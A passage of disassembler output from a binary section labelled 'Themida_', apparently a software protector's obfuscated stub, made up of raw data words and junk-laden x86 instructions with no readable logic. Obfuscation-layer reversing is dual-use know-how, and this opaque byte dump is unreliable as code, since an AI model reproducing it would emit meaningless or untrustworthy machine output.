		dd 8AC364B9h, 10850FE5h, 0E9000000h, 0Bh, 3CCA78FAh, 0F0C6E29Dh
		dd 8B796477h, 810F53D6h, 6, 0D286E981h,	605E14C7h, 61CA8B60h
		dd 61F28B66h, 44B3CF8Ah, 66F0BF0Fh, 0F93B00B8h,	0EA816660h
		dd 0B70F64F5h, 810F61DAh, 6, 8B66F860h,	0E3B961FEh, 5040E6E2h
		dd 57605BF9h, 0D066BA66h, 94C3815Ah, 6156D881h,	0FD8AF9FCh
		dd 68C0Fh, 0D2810000h, 2EA32B7h, 0C6816660h, 0E9614068h
		dd 0Fh,	1DE6D4FAh, 0B3CFA783h, 0A63F3CCCh, 0BE7E56FFh
		dd 799B122h, 0FE9h, 2BC28C00h, 90A234CCh, 6D68093Dh, 5956D004h
		dd 0F5C2B70Fh, 7E9h, 2D967700h,	9DC549D9h, 0B866F18Bh
		dd 850F6ED5h, 2, 0EE9CF8Bh, 90000000h, 37452D8Ah, 0ED67993Ah
		dd 0AC10346Ah, 38D0FB4h, 0F000000h, 820FCABFh, 3, 0BAD1BF0Fh
		dd 0CF37668h, 0B86660FCh, 11E95C53h, 0F7000000h, 0F133A71h
		dd 0D1555E79h, 0B79A30E6h, 74153276h, 76B7F561h, 8AD6B70Fh
		dd 810F56E6h, 2, 0F5F6160h, 58Ah, 0B70F5600h, 800F58C1h
		dd 2, 8166FB8Bh, 0E85C6AD8h, 14h, 6DBE944Bh, 0BFAC290Ah
		dd 6C360164h, 0AA260EBBh, 64F81297h, 8B5809B6h,	0C68B66DFh
		dd 0FA8B6060h, 8D0Fh, 66610000h, 703EB81h, 0D6C68161h
		dd 804CDD70h, 7CB0D5D1h, 55E68166h, 14E96Bh, 511B0000h
		dd 696D1782h, 898A305h,	6F503C4Fh, 0B355D019h, 0FFC4452h
		dd 128Ch, 0DE900h, 0FAE40000h, 50BA26DEh, 85232E9Dh, 0E8A486F6h
		dd 9, 0D5E50DBEh, 0EFDB3F07h, 815FF8EBh, 4DBBACE8h, 830F6Bh
		dd 0E9000000h, 9, 33B05346h, 0B02BB609h, 0BF0FF55Bh, 8E9CBh
		dd 0CA790000h, 0B6024CE3h, 5AB61FBEh, 0E2816660h, 0BF66DB6Bh
		dd 60612E6Ah, 8D0Fh, 0C5B60000h, 8D0F61h, 0F9000000h, 5800Fh
		dd 81660000h, 5360E8F6h, 0DE9h,	866EEE00h, 1ECCB5ECh, 0EA27CF5Bh
		dd 815E42F5h, 0CA1DB0D2h, 0B8B0F12h, 0F000000h,	587h, 0BC00BF00h
		dd 0BF0F194Ah, 0DE9F6h,	0B7980000h, 0E4ADB964h,	0F02847A9h
		dd 60B436D9h, 0F5F1C281h, 81667257h, 61757FD6h,	0E849D180h
		dd 7, 0E6AD53B9h, 56CE5304h, 3AE08166h,	0F5E58B7h, 48Fh
		dd 1BBF6600h, 60F781E7h, 0B9223755h, 2F728CEDh,	14E9h
		dd 85A21300h, 0F921451Fh, 246ABDD9h, 7B447DAAh,	0E9FFDFD9h
		dd 0B9DEB8B1h, 66606A5Dh, 0BA66DF8Bh, 666166ACh, 0BE66D98Bh
		dd 8166C0D1h, 8B7700F6h, 0EA8166CFh, 0EE813E58h, 2A977863h
		dd 56D38166h, 66D38B1Dh, 0C3E1F681h, 810FFCh, 0BE000000h
		dd 59166BA6h, 0D680EB8Ah, 0B70F522Ch, 12E95BCFh, 0B000000h
		dd 0D7BA37C5h, 4FFE48Bh, 47F3B5Ah, 0F77B6ADAh, 0F38B66D6h
		dd 1587DA81h, 0C3B006ADh, 0E84FC480h, 6, 1C8274A3h, 0BE60BE01h
		dd 206C3FD6h, 61FFB70Fh, 0D2816658h, 66605C7Fh,	66A756B8h
		dd 0F9EFD781h, 0FF6B661h, 58Eh,	0DB95BB00h, 81537A46h
		dd 4167BF1h, 13E95863h,	5E000000h, 0DC03236Ch, 75415A4Ah
		dd 0D74EB5A6h, 0BE51FFh, 10E96350h, 42000000h, 9ABA1072h
		dd 986CEDA9h, 9654CCCBh, 8BA1049Ch, 0B0DA8BC1h,	96BB6648h
		dd 8B66F850h, 0E9BF66F0h, 0C6816667h, 0B70F340Ch, 0E8CB8BFAh
		dd 0Dh,	8478E4B6h, 7797A5AFh, 4EFD9285h, 0D5B9660Fh, 0BA665BCEh
		dd 8B0F364Ch, 5, 0F98B6656h, 0E8DF8B5Bh, 6, 0DB3E9B78h
		dd 8B0FE81Ch, 6, 82F5E981h, 80596F56h, 0E9603ED3h, 0Fh
		dd 8B4FAD12h, 1AEDD77Ch, 49DA3D93h, 614D1D40h, 3219C281h
		dd 0E8F901F0h, 0Fh, 7960E088h, 9E02A499h, 98410747h, 66396686h
		dd 505FFA8Bh, 52EF8166h, 8B0F5F28h, 3, 80F2B70Fh, 820FCED0h
		dd 15h,	0EE957h, 4E750000h, 10A65697h, 2C33BCEh, 1E924C53h
		dd 0EC81B85Bh, 8B662641h, 8B66FCDFh, 8850FF1h, 53000000h
		dd 3F8CEA81h, 0F590E18h, 489h, 0DF8B5000h, 0EF81665Ah
		dd 0B560C52Ah, 0BE9B9h,	5BA80000h, 0F2A69861h, 0D5BC4BBh
		dd 9E96140h, 8A000000h,	0A3374469h, 0F87342D2h,	94F08166h
		dd 0E9D88B4Fh, 0Dh, 0A096F0BFh,	0BD2C8806h, 0E85CB3DFh
		dd 0D2B70F79h, 6E9FCh, 0B95F0000h, 0C63281A6h, 9A37E781h
		dd 81667F54h, 66094BD2h, 0B23E7CBBh, 0E860FCB5h, 0Dh, 54741D31h
		dd 59B12DBEh, 0B58B168Bh, 0DB816611h, 0F591A79h, 28Ch
		dd 615DB300h, 0C927D1BAh, 18F0F3Fh, 0F8000000h,	4427CE81h
		dd 0BF0F3F76h, 0B830FC6h, 0F000000h, 585h, 0BC28BF00h
		dd 0B70F0AE6h, 0BDEA81CFh, 0E95CEBC4h, 5, 0CC203E5Eh, 0C3D0809Bh
		dd 68D0Fh, 0CF810000h, 260AA006h, 0FE9h, 0B1F5D300h, 98E9C431h
		dd 0D7245D9Eh, 3A471BC5h, 0D7F6EA81h, 0FE81DD6h, 7B000000h
		dd 766C2387h, 192B45C9h, 676C82A4h, 0B7563C46h,	0E95F5B04h
		dd 0Dh,	0A9519006h, 0B746C0AAh,	2B902052h, 0F28166BAh
		dd 0B70F79B5h, 1880FF9h, 0FC000000h, 0C6C28166h, 0BB35B6D5h
		dd 7BF45EF0h, 0BE9h, 0CE710300h, 6A609B8Ah, 113B6469h
		dd 0E62C01B8h, 1B890F67h, 0F000000h, 158Ah, 10E900h, 0EFE40000h
		dd 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0D88017BFh, 10E937h
		dd 0C8750000h, 0D2A8B7ECh, 94A1C429h, 14E11D4Ch, 8166FB32h
		dd 0FC467FF0h, 3820Fh, 8B660000h, 10E8CAh, 0C1060000h
		dd 8C2433Ah, 0F86549B9h, 0B503811h, 0BF0F3CCEh,	0BE95FD0h
		dd 0CB000000h, 0A0F0D982h, 2348AB90h, 14E80DFFh, 2C000000h
		dd 0EC1B4CEAh, 1747AEF8h, 2CE024D8h, 0F4B37755h, 0FBFBF2Dh
		dd 0E858D3BFh, 8, 680CE233h, 599DDD76h,	5E9h, 17E81A00h
		dd 0E85EC633h, 0Dh, 824FAEB0h, 6965B035h, 8C4520CDh, 0C68166E7h
		dd 0BB5F7F63h, 3FA9EAE4h, 66C78B66h, 90BD381h, 32A5E181h
		dd 850F4EDCh, 4, 0DCCABB66h, 0AE9h, 2B807600h, 7DACA70Ah
		dd 66E2DF26h, 0BD3AF781h, 0EE9h, 43A5E300h, 4F6DF597h
		dd 6DBE944Bh, 81AC290Ah, 0B5AD77C1h, 0F7816644h, 0BB66BA3Ch
		dd 0DBBAC2BAh, 5213BBFDh, 1EF18166h, 0E9605EF0h, 5, 0F0DF04A2h
		dd 8B666076h, 7C9DB9C1h, 61613DC9h, 0FE9h, 54577B00h, 187898F3h
		dd 96095395h, 371A097Fh, 9E5C22BBh, 3366BE53h, 0C68B4E37h
		dd 0B8ECCB80h, 20C53DEAh, 18C0Fh, 66F80000h, 0D6A6E881h
		dd 830FC38Bh, 3, 66D0BF0Fh, 0DC80F18Bh,	0FB8B6661h, 9E8h
		dd 3165C800h, 5D34FDD0h, 5FF880F2h, 0F08166F9h,	0F607DABh
		dd 282h, 0F616000h, 0F61DABFh
		dd 0B866C3B7h, 0B6602A31h, 11E9B8h, 20450000h, 0DEC2F1CDh
		dd 0C71EA03Eh, 69D01DF5h, 61E9D842h, 5850Fh, 81660000h
		dd 0F90CEEC2h, 6F73BB66h, 0EE925B5h, 0A1000000h, 0E5D647B7h
		dd 54332D20h, 11BB35AFh, 8E999h, 7B0C0000h, 152A55C1h
		dd 0E960D4DCh, 6, 86A0161Eh, 12E9EFBEh,	69000000h, 9617D535h
		dd 6FCD7E8Dh, 0FB01A3BCh, 1AF42AAAh, 6E96134h, 0E3000000h
		dd 0E8FB4F9Dh, 6657B12Eh, 0E9DC6FB9h, 0Bh, 0AAF08318h
		dd 7EEED8B1h, 0E9EAE3A8h, 8, 95E7AA56h,	677B7A98h, 0E9C6BF0Fh
		dd 8, 0DB80C6F2h, 43C9CCCEh, 0FF6B70Fh,	38Fh, 58F55200h
		dd 0E9DFBF0Fh, 0Fh, 91A7C5FBh, 499CF11Fh, 0E1098422h, 669C58C8h
		dd 0FFF6ABEh, 0BA51D8B7h, 1084AA98h, 0BA665158h, 0F5F0369h
		dd 890FDAB7h, 5, 0B5DA8166h, 13E9608Bh,	0A0000000h, 0D5E76A7Eh
		dd 357D3501h, 0F96DA781h, 22344C1Dh, 5351BEC1h,	5661585Fh
		dd 5BC88B66h, 57CA8B66h, 8159CF8Ah, 7CE7ADE2h, 5E80BA77h
		dd 0FA8B0872h, 88F08166h, 9E92Ah, 0C8CB0000h, 0FB487312h
		dd 0FBA42C3h, 8166C3B7h, 8167D6EEh, 91433EDBh, 0DE8B6676h
		dd 0BE9h, 0B75CB000h, 872D2C98h, 529ADDF5h, 9E960h, 0FCC0000h
		dd 18A160B8h, 0F95F19B4h, 0C6BF0F61h, 18C0Fh, 0E9FC0000h
		dd 0Ch,	0AC2C6962h, 98037F50h, 0EE9D268h, 0C5682BBEh, 0F2B70F6Ah
		dd 0B890Fh, 6E90000h, 0B3000000h, 0BA2114CEh, 18B0F11h
		dd 0F5000000h, 18830Fh,	13E90000h, 0F7000000h, 3A247A13h
		dd 5083B848h, 0C5B4F4ACh, 77F541DAh, 8F0FA0D3h,	13h, 0EE9h
		dd 1CB1A600h, 0D8E0D0DEh, 0D5383C77h, 569BC21Ch, 11E8h
		dd 809EE500h, 0C3574043h, 0FD8E82BEh, 888F8592h, 0CE8BFEEFh
		dd 8D0F5959h, 6, 0B1A0EB81h, 10B8325Eh,	0F09C223h, 1888h
		dd 13E900h, 0DBB20000h,	0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h
		dd 0AD244384h, 6651F5E1h, 0E8B1D781h, 0ECBF6658h, 0D78B60C8h
		dd 9978C881h, 66616B9Bh, 80D740B8h, 8B6606EBh, 80F98BF9h
		dd 0E9819ACBh, 7B9F001Bh, 432ABE66h, 8B60F18Bh,	10E8D8h
		dd 3E3B0000h, 97867B7Bh, 396EAB5Eh, 4991916h, 0DE9ED4Ch
		dd 0BB000000h, 606541EAh, 842B5A54h, 0A9379AB0h, 0D0806158h
		dd 8E9D4h, 23FA0000h, 4995EE71h, 0FEBE6BE9h, 8B40CF03h
		dd 68A0FC2h, 81000000h,	539398D7h, 0BA51607Dh, 306D249Eh
		dd 0C3BF0F59h, 0FE861h,	94400000h, 7B9B63DDh, 41238AE6h
		dd 2535B99Ch, 6E9B3h, 0D53F0000h, 26C1FAC9h, 0B6F88B5Eh
		dd 22E880F4h, 1B875B9h,	0EFB96600h, 50D88142h, 6614805Ah
		dd 3FFD081h, 0BADF8B66h, 4269BD8Dh, 10E9h, 6630C200h, 0F96735B3h
		dd 24B3A777h, 84D0225Dh, 14E847h, 8D060000h, 5387EB6Eh
		dd 0E418F163h, 3E8E456Ah, 0F31BD150h, 0D3807631h, 6660599Bh
		dd 0EE9D88Bh, 40000000h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh
		dd 64B16180h, 8BC5CB80h
		db 0DFh, 81h
word_616C4E	dw 6BD2h		; DATA XREF: ___:off_4452FCo
		dd 0F1CE5B2h, 8B66C6B7h, 0F62B3F8h, 1C84h, 14E800h, 0B8D10000h
		dd 8E8B5142h, 45BC39A4h, 0A2361FA0h, 0EB21C78Ah, 61609D10h
		dd 0BE95Eh, 0C55A0000h,	688E87E0h, 4599C878h, 0C08166FBh
		dd 0E860AFB5h, 0Dh, 2F9C2F5Ch, 3DE1045Ch, 6C86EE90h, 0F88B66EBh
		dd 0BE85Ah, 3F380000h, 0D63F2CC2h, 0B1553E8Dh, 12E811h
		dd 0EDFA0000h, 9D4BC67Fh, 9AE40827h, 71F3DB33h,	0AF645D5Eh
		dd 0FC615A5Eh, 92C5BCB9h, 14E96Eh, 2CDD0000h, 0C445A8C0h
		dd 3CBE553Dh, 4C15DAB1h, 174B70ACh, 8E98BBCh, 0BE000000h
		dd 209A1BB2h, 52B151C8h, 0CE8h,	826ED200h, 0E571285Eh
		dd 0AAC9A501h, 389DB860h, 595B6F71h, 5BF85156h,	0CE8B665Ah
		dd 0EA1ADA81h, 820F7B4Bh, 4, 7EEBBE66h,	800Fh, 10E80000h
		dd 34000000h, 0C872AA73h, 0FD358133h, 86683C47h, 607D9AB6h
		dd 2EBEBFF5h, 5F614D8Fh, 8E9F9h, 6D070000h, 0D87FDF59h
		dd 6E95DFCh, 0ED000000h, 85F8E9E4h, 14E8FDh, 47690000h
		dd 0BCA9EB68h, 6CD588D5h, 825A1560h, 0B67AF512h, 95BA0226h
		dd 5A0AECC7h, 548BC781h, 81665931h, 0B9B1F0C9h,	39476C41h
		dd 0FF4ED781h, 0D680349Dh, 0F69B3ACh, 68Ch, 8C0F00h, 0BB000000h
		dd 2235F791h, 6F66B866h, 8B6611B3h, 89D480FAh, 0D9E38166h
		dd 8D0F51ADh, 3, 5EFA8B66h, 80F7B70Fh, 0BBF9B8D8h, 3818B7FFh
		dd 565989BAh, 0DE8B5136h, 0F78B6659h, 13820Fh, 0DE80000h
		dd 0EC000000h, 73DC5A87h, 0D4CFF2D2h, 31936EA5h, 0D7F68059h
		dd 0F6B9F98Bh, 8B5A3FA1h, 0C08166CAh, 0F88A5AAEh, 0F6BF66h
		dd 0EDE68166h, 8B66608Dh, 0FF561F1h, 830FC3BFh,	5, 3DD18166h
		dd 8695B84Bh, 10E95291h, 72000000h, 0CDB45C3Fh,	4CEEF6BDh
		dd 94DF88DFh, 66129692h, 0B509E081h, 880FF18Bh,	0
; ---------------------------------------------------------------------------
		call	near ptr loc_616E63+4
		js	short near ptr loc_616EBD+1


loc_616E63:				; CODE XREF: Themida_:00616E5Cp
		ror	dword ptr [ebx+edx*8-357E9999h], 1
		xchg	eax, esp
		scasd
		pop	edi
		push	ebx
		jmp	loc_616E85
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0DF4CEEF6h, 9294DF88h, 1AA11296h, 0E26236DFh
; ---------------------------------------------------------------------------
		movsd


loc_616E85:				; CODE XREF: Themida_:00616E6Ej
		pop	esi
		cmc
		clc
		mov	ecx, 46A66B3Ah
		jge	loc_616EA5
		jmp	loc_616EA5
; ---------------------------------------------------------------------------
		clc
		retf	4CBCh
; ---------------------------------------------------------------------------
		dd 7B9F2425h, 28E81EAh
		db 70h
; ---------------------------------------------------------------------------


loc_616EA5:				; CODE XREF: Themida_:00616E8Dj
					; Themida_:00616E93j
		mov	ebx, 0FA5E991h
		or	di, 5396h
		jbe	loc_616EB8
		movzx	edx, si


loc_616EB8:				; CODE XREF: Themida_:00616EAFj
		stc
		mov	cx, 3B68h


loc_616EBD:				; CODE XREF: Themida_:00616E61j
		call	near ptr loc_616ED2+1
		sti
		aaa
		and	bh, cl
		xchg	eax, edx
		dec	edi
		mov	byte ptr [ebx],	4Eh
		pop	ebp
		xchg	eax, esp
		cwde
		arpl	sp, sp
		pop	ss
		dec	edi


loc_616ED2:				; CODE XREF: Themida_:loc_616EBDp
		jnz	short loc_616F33
		mov	esi, edi
		jmp	loc_616EEA
; ---------------------------------------------------------------------------
		db 2Fh
		dd 8E601FBAh, 27AD3AF3h, 87527C98h
; ---------------------------------------------------------------------------
		sal	bl, 1


loc_616EEA:				; CODE XREF: Themida_:00616ED6j
		push	esi
		jmp	loc_616EFB
; ---------------------------------------------------------------------------
		dd 2DC1A3FCh, 7AE3388Ah
		db 94h,	0Fh, 0F0h
; ---------------------------------------------------------------------------


loc_616EFB:				; CODE XREF: Themida_:00616EEBj
		pop	ebx
		jns	loc_616F0B
		jle	loc_616F0B
		mov	dx, ax


loc_616F0B:				; CODE XREF: Themida_:00616EFCj
					; Themida_:00616F02j
		mov	eax, 764BC3A2h
		mov	si, 202Dh
		call	loc_616F29
		pop	edi
		ror	eax, cl
		jmp	far ptr	97E1h:0DECF1CD0h
; ---------------------------------------------------------------------------
		db 13h
		dd 46CF91Ah
		db 71h
; ---------------------------------------------------------------------------


loc_616F29:				; CODE XREF: Themida_:00616F14p
		jmp	near ptr loc_616F38+3
; ---------------------------------------------------------------------------
		dw 0C81h
		db 0D1h, 0DFh, 67h
; ---------------------------------------------------------------------------


loc_616F33:				; CODE XREF: Themida_:loc_616ED2j
		inc	ebx
		pop	ecx
		movsd
		adc	ebx, eax


loc_616F38:				; CODE XREF: Themida_:loc_616F29j
		adc	[ebp+57F85885h], al
		mov	ch, al
		pop	edi
		adc	cl, 0E0h
		movzx	edx, di
		jmp	loc_616F60
; ---------------------------------------------------------------------------
		dd 0B6405C8Bh, 520805ECh, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh
; ---------------------------------------------------------------------------


loc_616F60:				; CODE XREF: Themida_:00616F47j
		jmp	loc_616F73
; ---------------------------------------------------------------------------
		db 81h,	43h, 53h
		dd 24D1431Fh, 5F21F38Bh
		db 0B9h, 0A6h, 81h
; ---------------------------------------------------------------------------


loc_616F73:				; CODE XREF: Themida_:loc_616F60j
		jmp	loc_616F7F
; ---------------------------------------------------------------------------
		dd 0D464E492h
		db 38h,	0BDh, 0F3h
; ---------------------------------------------------------------------------


loc_616F7F:				; CODE XREF: Themida_:loc_616F73j
		jmp	loc_616F8F
; ---------------------------------------------------------------------------
		dd 6483EC34h, 3D22D845h
; ---------------------------------------------------------------------------
		adc	edi, eax
		aas


loc_616F8F:				; CODE XREF: Themida_:loc_616F7Fj
		movzx	edx, cx
		pusha
		mov	edi, 7DE6B9EBh
		mov	al, bh
		popa
		jle	loc_616FA6
		mov	ecx, 3CAADA25h


loc_616FA6:				; CODE XREF: Themida_:00616F9Bj
		jmp	loc_616FBD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0ED5E811Ah, 0FF261D9Bh, 6F264DD6h, 27028F1Fh
		db 0E7h
; ---------------------------------------------------------------------------


loc_616FBD:				; CODE XREF: Themida_:loc_616FA6j
		movsx	ebx, di
		jmp	loc_616FCE
; ---------------------------------------------------------------------------
		xor	al, cl
		inc	ecx
		fistp	dword ptr [ecx-558371Ah]


loc_616FCE:				; CODE XREF: Themida_:00616FC0j
		and	dh, 0A0h
		jnp	loc_616FDC
		mov	eax, 3D0688EDh


loc_616FDC:				; CODE XREF: Themida_:00616FD1j
		sbb	cl, 31h
		mov	edi, 81B78C6h
		jl	loc_617000
		jmp	loc_617000
; ---------------------------------------------------------------------------
		db 5
		dd 0BBE9B968h, 24E06C55h, 0A7EFC728h, 0D514127Bh
; ---------------------------------------------------------------------------


loc_617000:				; CODE XREF: Themida_:00616FE4j
					; Themida_:00616FEAj
		sub	ebx, 327219FDh
		mov	dx, 7B89h
		ja	loc_61701C
		jg	loc_61701C
		jbe	$+6


loc_61701C:				; CODE XREF: Themida_:0061700Aj
					; Themida_:00617010j
		sbb	cx, 2419h
		jmp	loc_617037
; ---------------------------------------------------------------------------
		dw 5E01h
		dd 0B6ACAA6Dh, 0C4F5FCB0h, 29C8A86Dh
		db 0F2h, 0F4h, 22h
; ---------------------------------------------------------------------------


loc_617037:				; CODE XREF: Themida_:00617021j
		mov	ebx, 14E7981h
		adc	ax, 0F4D5h
		push	ebx
		jbe	loc_61704B
		movzx	edx, si


loc_61704B:				; CODE XREF: Themida_:00617042j
		pop	edx
		jmp	loc_617064
; ---------------------------------------------------------------------------
		db 35h,	54h, 99h
		dd 572E8969h, 40906F91h, 5BB2FEDAh, 8B4AAFE3h
; ---------------------------------------------------------------------------


loc_617064:				; CODE XREF: Themida_:0061704Cj
		and	bx, 0D6BCh
		mov	bl, ah
		mov	di, dx
		mov	esi, 53D37FC6h
		push	edx
		jmp	loc_617089
; ---------------------------------------------------------------------------
		db 0AAh, 0EAh, 0BAh
		dd 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h
; ---------------------------------------------------------------------------
		dec	ebx


loc_617089:				; CODE XREF: Themida_:00617074j
		pop	edx
		mov	ch, al
		movzx	edi, si
		mov	eax, edi
		add	edx, 24B9EC0Bh
		mov	di, 9C3Eh
		mov	ax, 3F18h
		mov	ax, cx
		jp	loc_6170AE
		sbb	edi, 0FC51139h


loc_6170AE:				; CODE XREF: Themida_:006170A2j
		mov	bx, 0A824h
		pusha
		sbb	ecx, 120D3319h
		ja	loc_6170CC
		jmp	loc_6170CC
; ---------------------------------------------------------------------------
		jnp	short loc_617134
		mov	ebp, esi
		das
		fbstp	tbyte ptr [ebp+54h]


loc_6170CC:				; CODE XREF: Themida_:006170B9j
					; Themida_:006170BFj
		popa
		and	bl, 0A6h
		push	edx
		mov	ch, dl
		pop	ecx
		jle	loc_6170DD
		movsx	edi, di


loc_6170DD:				; CODE XREF: Themida_:006170D4j
		sub	dl, 15h
		adc	esi, 19EB5E21h
		sub	si, 8681h
		mov	cx, bx
		sbb	ax, 0F398h
		jmp	loc_617108
; ---------------------------------------------------------------------------
		dd 56860889h, 0B2B7A607h, 6984021Ah, 7A8D5A8Eh
; ---------------------------------------------------------------------------


loc_617108:				; CODE XREF: Themida_:006170F3j
		mov	si, 31BCh
		stc
		jz	loc_61711B
		pusha
		jp	$+6
		popa


loc_61711B:				; CODE XREF: Themida_:0061710Dj
		call	sub_61712E
		and	[ebp-7218ADE4h], eax
		inc	ebp
		push	edi
		outsb
		sub	eax, 6414A3A1h

; =============== S U B	R O U T	I N E =======================================



sub_61712E	proc near		; CODE XREF: Themida_:loc_61711Bp

; FUNCTION CHUNK AT 00617184 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 006171E7 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 006171F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0061720A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00617219 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00617246 SIZE 00000043 BYTES

		sub	ebx, 7E46CF2Fh


loc_617134:				; CODE XREF: Themida_:006170C4j
		pop	ebx
		mov	ah, 50h
		cld
		jmp	loc_617151
; ---------------------------------------------------------------------------
		db 5Eh,	0D3h, 59h
		dd 6D6B1A95h, 6DE25A75h, 0C43E1A46h, 0E6EA6BCh
		db 63h
; ---------------------------------------------------------------------------


loc_617151:				; CODE XREF: sub_61712E+Aj
		call	near ptr loc_61715C+5
		lahf
		int	6		;  - internal hardware - UNDEFINED OPCODE (80286+)
		push	ebx
		jo	short loc_617184


loc_61715C:				; CODE XREF: sub_61712E:loc_617151p
		add	edx, [ebx-7FE4CD8Ch]
sub_61712E	endp ; sp-analysis failed

		in	eax, dx
		sbb	eax, 2CF8058h
		jmp	loc_617174
; ---------------------------------------------------------------------------
		db 62h,	0B6h, 0DEh
; ---------------------------------------------------------------------------
		retf	56A2h
; ---------------------------------------------------------------------------
		sti


loc_617174:				; CODE XREF: Themida_:00617168j
		jmp	loc_617181
; ---------------------------------------------------------------------------
		db 43h,	65h, 0DAh
		dd 2C2DBBE1h
		db 0F0h
; ---------------------------------------------------------------------------


loc_617181:				; CODE XREF: Themida_:loc_617174j
		mov	bx, si
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_617184:				; CODE XREF: sub_61712E+2Cj
		mov	eax, edi
		or	ecx, 13E04855h
		call	near ptr loc_61719C+5
		xlat
		jb	short loc_6171E7
		cmp	al, 74h
		jnz	short loc_6171F3
		cld
		imul	bh
		pop	esp


loc_61719C:				; CODE XREF: sub_61712E+5Ep
		les	ebp, [edx+0F47FF1Dh]
		mov	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		dd 58000000h, 0F9AF580h, 0BA66F1B7h, 0BA6614CCh, 0B70FC3E3h
		dd 0C0BF0FCEh, 11E9h, 23E1B200h, 50801526h, 0DA82D2E3h
		dd 69F3D338h, 0EE99D53h, 92000000h, 0FEC60849h,	3611CE06h
		dd 0F71ED07Ch
		db 3, 0Fh, 8Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_6171E7:				; CODE XREF: sub_61712E+64j
		push	es
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		dd 81000000h, 32A059D7h
		db 62h,	8Ah, 0E3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_6171F3:				; CODE XREF: sub_61712E+68j
		jmp	loc_61720A
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		dd 4A7354D7h, 0CCE66517h, 0CCAFB5E1h, 2B7B8EF8h
; ---------------------------------------------------------------------------
		xchg	edx, [ebx]
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_61720A:				; CODE XREF: sub_61712E:loc_6171F3j
		jmp	loc_617219
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0F216506Dh, 0CE1E094Bh
; ---------------------------------------------------------------------------
		cdq
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_617219:				; CODE XREF: sub_61712E:loc_61720Aj
		jns	loc_617225
		pusha
		push	ecx
		pop	ebx
		mov	eax, ebx
		popa


loc_617225:				; CODE XREF: sub_61712E:loc_617219j
		jl	loc_61722E
		sbb	dh, 4Ch


loc_61722E:				; CODE XREF: sub_61712E:loc_617225j
		pusha
		mov	edi, 6DCFAE42h
		jmp	loc_617246
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		db 5Dh,	0CEh, 9Eh
; ---------------------------------------------------------------------------
		mov	ebx, 0B7BF75A0h
		test	edx, edx
		les	edx, [eax-59h]
; START	OF FUNCTION CHUNK FOR sub_61712E


loc_617246:				; CODE XREF: sub_61712E+106j
		popa
		mov	esi, ecx
		movsx	esi, cx
		mov	di, dx
		pusha
		sbb	ecx, 3A45246h
		mov	esi, edi
		popa
		call	near ptr loc_617266+1
		sbb	dword ptr [eax+esi*8], 0FFFFFF8Dh
		test	al, 0E8h
		aad	0CCh


loc_617266:				; CODE XREF: sub_61712E+12Bp
		db	3Eh
		pusha
		mov	ax, 8A7Bh
		jz	$+6
		popa
		pop	esi
		call	near ptr loc_617284+3
		mov	esi, 220E7F65h
		and	ebx, [ecx]
		insb
		and	al, 4


loc_617284:				; CODE XREF: sub_61712E+146p
		jmp	near ptr 0BFBB2961h
; END OF FUNCTION CHUNK	FOR sub_61712E
; ---------------------------------------------------------------------------
		db 79h,	9Bh, 74h
; ---------------------------------------------------------------------------
		mov	si, cx
		pusha
		jbe	$+6
		jl	loc_6172B4
		jmp	loc_6172B4
; ---------------------------------------------------------------------------
		db 0C9h, 0BDh, 1Ah
		dd 3CE3FA83h, 0CDF19EE4h, 755C4EB8h, 9FF36953h
; ---------------------------------------------------------------------------


loc_6172B4:				; CODE XREF: Themida_:00617296j
					; Themida_:0061729Cj
		popa
		mov	esi, edi
		mov	dl, 0F8h
		xor	bl, 20h
		jmp	loc_6172D5
; ---------------------------------------------------------------------------
		db 8Eh,	0D0h, 70h
		dd 8E1A76EFh, 5B652A45h, 914F930Ch, 59D54F77h
		db 0B7h
; ---------------------------------------------------------------------------


loc_6172D5:				; CODE XREF: Themida_:006172BCj
		call	near ptr loc_6172E4+2
		add	eax, 0E7AED871h
		sbb	eax, ebx
		inc	esi
		lahf
		insd


loc_6172E4:				; CODE XREF: Themida_:loc_6172D5p
		and	[ecx+667AB45Fh], edx
		mov	edi, ebx
		jnz	loc_6172F5
		movzx	eax, cx


loc_6172F5:				; CODE XREF: Themida_:006172ECj
		stc
		sbb	cx, 9B6Fh
		jnb	loc_617305
		pusha
		mov	ah, 5Fh
		popa


loc_617305:				; CODE XREF: Themida_:006172FBj
		stc
		call	near ptr loc_617311+2
		mov	[eax+2B8B5C44h], eax


loc_617311:				; CODE XREF: Themida_:00617306p
		test	dword ptr [esi-4187E9Ah], 8B665FABh
		retn
; ---------------------------------------------------------------------------
		dd 116308B9h, 0CE81663Dh, 830FD3C1h, 0
		dd 88D0Fh, 850F0000h, 2, 0BB66FB8Bh, 0EA8AFD41h, 9850FF8h
		dd 0F000000h, 38Ah, 0CB8B6600h,	59DA8A51h, 0A9F28166h
		dd 0EE971h, 91200000h, 0AEE932E2h, 58F38A6h, 0ED407949h
		dd 0FE9F8h, 47C0000h, 22E3E081h, 2DE624A6h, 0BC4B97E9h
		dd 0DE8F97Fh, 2E000000h, 44882EA0h, 0CDEB5C24h,	7A06A29Ah
		dd 5E9h, 0BAB06400h, 505F8E3Ah,	0E95FC78Bh, 8, 0B02FC089h
		dd 1660179Fh, 9E8h, 80972800h, 72A9C942h, 880FC645h, 4
